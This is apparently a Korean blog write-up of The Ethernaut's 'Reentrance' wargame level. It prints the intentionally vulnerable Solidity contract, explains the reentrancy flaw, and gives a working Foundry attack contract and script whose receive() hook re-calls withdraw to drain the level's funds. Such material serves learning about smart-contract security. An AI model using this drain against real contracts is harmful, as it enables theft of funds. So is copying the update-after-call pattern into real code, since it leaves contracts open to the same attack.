아 Foundry 코드짜는거가 익숙치가 않아서 너무 시간을 많이 잡아 먹었다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import "openzeppelin-contracts-06/math/SafeMath.sol";
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint256) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint256 balance) {
return balances[_who];
}
function withdraw(uint256 _amount) public {
if (balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value: _amount}("");
if (result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
donate를 할 수 있는 함수가 있고
각 balance를 볼 수 있는 balanceOf가 있다.
그 다음 withdraw로 내가 보낸 값만큼 다시 나한테 보낼 수 있다.
여기서 취약점은 문제 이름과 비슷하게 재진입 취약점이 존재한다.
만약 msg.sender.call로 문제 컨트랙트에서 내 컨트랙트로 돈을 보냈을때 내 컨트랙트에서 fallback이나 receive로 다시 withdraw를 호출한다면 어떻게 될까?
그러면 재귀형식처럼 다시 withdraw로 돌아가 balances[msg.sender] > _amount를 비교할텐데 내 balance는 아직 balances[msg.sender] -= amount가 호출되기 전이니 이전의 balance를 유지하고 있으므로
다시 call함수가 실행되어 또 돈이 나한테 들어온다.
이처럼 재귀형식처럼 반복되어 돈복사를 하는 취약점을 재진입 공격이라 한다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/console.sol";
import "forge-std/Script.sol";
import "../src/Reentrance.sol";
contract Attack{
Reentrance public target;
constructor() public payable{
address payable targetAddress = payable(0x515e71b355b6b5054AaEEb732EF52CA765BBE481);
target = Reentrance(targetAddress);
target.donate{value: 0.001 ether}(address(this));
console.log(address(this));
// target.withdraw(0.001 ether);
}
function withdraw() external payable{
target.withdraw(0.001 ether);
(bool result,) = msg.sender.call{value: 0.002 ether}("");
require(result);
}
receive() external payable{
console.log("receive success");
target.withdraw(0.001 ether);
}
}
contract ReentranceSolve is Script {
function run() external {
vm.startBroadcast(vm.envUint("user_private_key"));
Attack testContract = new Attack{value: 0.001 ether}();
testContract.withdraw();
vm.stopBroadcast();
}
}
먼저, 문제 contract의 잔액은 아래의 코드로 볼 수 있다.
await getBalance(contract.address) // 혹은 getBalance(instance)
0.001만큼 가져오면 되므로 0.001 ether로 처음 donate값을 측정했다.
그다음 receive로 내가 돈을 받을 때 다시 0.001 ether만큼 withdraw를 호출하도록 설정했다.
이러면 재진입공격으로 단 두번의 withdraw호출로 instance 내의 값을 다 가져올 수 있다.
혹은 0.001 ether로 설정하지 않았다 해도 instance 내의 값이 0이 될때까지 계속해서 재귀호출을 하여 어떻게든 0을 만들 것이다.
참고로 저기서 좀 멍청한 짓을한게 Attack의 constructor 부분에 target.withdraw를 했었는데 이렇게 되면 해당 Attack contract가 전부 생성되기 전에 withdraw를 호출하여 내 contract에 제대로 돈이 안들어온다.
따라서 withdraw함수를 새로 해서 ReentranceSolve contract에서 호출하도록 해줬다.
그리고 원래 Reentrance.sol은 SafeMath를 사용하는데 우리한텐 SafeMath가 없으므로 0.8.0 버전으로 올려 +=으로 하게 해주었다. (0.8.0 버전은 SafeMath없이 += 이 SafeMath역할을 대신함)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Reentrance {
mapping(address => uint256) public balances;
function donate(address _to) public payable {
balances[_to] += msg.value;
}
function balanceOf(address _who) public view returns (uint256 balance) {
return balances[_who];
}
function withdraw(uint256 _amount) public {
if (balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value: _amount}("");
if (result) {
balances[msg.sender] -= _amount;
}
}
}
receive() external payable {}
}
그리고 또 멍청한 짓이
contract.balanceOf(내 지갑주소) 이렇게 했는데 계속 오류 떠서 봤더니
javascript에서는 ""을 붙여야 한다. 아니면 16진수로 인식하기에 꼭 따옴표를 붙여줘야 한다.
'Web3 > The Ethernaut' 카테고리의 다른 글
[The Ethernaut] Privacy (0) | 2025.01.30 |
---|---|
[The Ethernaut] Elevator (0) | 2025.01.28 |
[The Ethernaut] King (0) | 2025.01.23 |
[The Ethernaut] Vault (0) | 2025.01.23 |
[The Ethernaut] Level 7. Force (0) | 2025.01.18 |